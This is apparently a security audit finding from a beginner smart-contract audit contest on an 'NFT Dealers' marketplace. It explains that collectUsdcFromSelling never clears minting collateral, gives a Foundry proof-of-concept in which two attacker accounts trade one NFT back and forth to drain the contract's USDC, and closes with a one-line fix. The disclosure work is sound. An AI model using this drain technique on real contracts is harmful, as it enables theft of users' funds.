NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

[H-2] Users can buy their own NFT and drain the contract USDC balance with the `collectUsdcFromSelling` function

Author Revealed upon completion

Users can buy their own NFT and drain the contract USDC balance with the collectUsdcFromSelling function

Description

Users should not be able to buy their own NFT because of this line:

function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
@> require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
​
...
}

However, this requirement is not preventing users from buying their own NFT because they can use multiple accounts. At first glance, this may appear to be a low severity issue if you don't understand the impact of this bug. Letting users buy their own NFTs leads to a critical vulnerability where a user can drain all the contract USDC balance.

The attack is related to a poor implementation of collateralForMinting:

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
@> uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
@> amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
@> usdc.safeTransfer(msg.sender, amountToSeller);
}

The collateral should be reset to zero after being collected by a user. However, in the collectUsdcFromSelling function, the collateral is sent to msg.sender and the mapping is not updated. There is a way for an attacker to take advantage of this bug by repeatedly selling an NFT to himself and collecting the lockAmount multiple times, until the contract balance is completely drained.

Risk

Likelihood:

  • This will occur whenever the contract's USDC balance is not zero

  • This will occur after every NFT sale

Impact:

  • Sellers will lose all their payments

  • Minters will lose all their collateral

  • The contract can't hold any USDC safely

Proof of Concept

Actors:

  • Attacker: A malicious user that will sell and buy his own NFT with 2 accounts

  • Seller: A normal user minting and selling an NFT to buyer

  • Buyer: A normal user buying the NFT of seller

Proof of Code:

function testBuyOwnNft() public {
// Users' and attackers' accounts must be whitelisted and the collection revealed
vm.startPrank(owner);
nftDealers.whitelistWallet(seller);
nftDealers.whitelistWallet(buyer);
nftDealers.whitelistWallet(attacker1);
nftDealers.whitelistWallet(attacker2);
nftDealers.revealCollection();
vm.stopPrank();
​
// Seller mints and lists an NFT
uint256 tokenId = 1;
uint32 tokenPrice = 1000e6;
vm.startPrank(seller);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(tokenId, uint32(tokenPrice));
vm.stopPrank();
​
// A buyer buys the NFT
vm.startPrank(buyer);
usdc.approve(address(nftDealers), tokenPrice);
nftDealers.buy(tokenId);
vm.stopPrank();
​
// Here the contract USDC balance is 1000 + 20 USDC
vm.assertEq(usdc.balanceOf(address(nftDealers)), 1020e6);
​
// Attacker mints and lists an NFT (he locks 20 USDC as collateral)
// The price is set to the minimum (1 USDC) to minimize fees
vm.assertEq(usdc.balanceOf(attacker1) + usdc.balanceOf(attacker2), 21e6); // Attacker total balance is 21 USDC
uint256 attacktokenId = 2;
uint32 attackTokenPrice = 1e6;
vm.startPrank(attacker1);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.mintNft();
nftDealers.list(attacktokenId, uint32(attackTokenPrice));
vm.stopPrank();
​
// Attacker buys his own NFT with another account
// He only loses 0.01 USDC in fees because of the low NFT price
vm.startPrank(attacker2);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.buy(attacktokenId);
vm.stopPrank();
​
// Attacker can now collect fees
vm.prank(attacker1);
nftDealers.collectUsdcFromSelling(attacktokenId);
vm.assertEq(usdc.balanceOf(attacker1) + usdc.balanceOf(attacker2), 20.99e6); // Attacker total balance is 20.99 USDC
​
// Now the attacker can sell the NFT to himself again, until the contract balance is empty
while (usdc.balanceOf(address(nftDealers)) > 40e6) {
// attacker2 sells to attacker1
vm.prank(attacker2);
nftDealers.list(attacktokenId, uint32(attackTokenPrice));
vm.prank(attacker1);
nftDealers.buy(attacktokenId);
vm.prank(attacker2);
nftDealers.collectUsdcFromSelling(attacktokenId);
// attacker1 sells to attacker2
vm.prank(attacker1);
nftDealers.list(attacktokenId, uint32(attackTokenPrice));
vm.prank(attacker2);
nftDealers.buy(attacktokenId);
vm.prank(attacker1);
nftDealers.collectUsdcFromSelling(attacktokenId);
}
​
// Attacker has drained almost all the contract balance
vm.assertGt(usdc.balanceOf(attacker1) + usdc.balanceOf(attacker2), 1020e6);
vm.assertLt(usdc.balanceOf(address(nftDealers)), 40e6);
}

Recommended Mitigation

You can't prevent users from buying their own NFT, instead you should update the collateralForMinting mapping state:

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
...
​
+ collateralForMinting[listing.tokenId] = 0;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!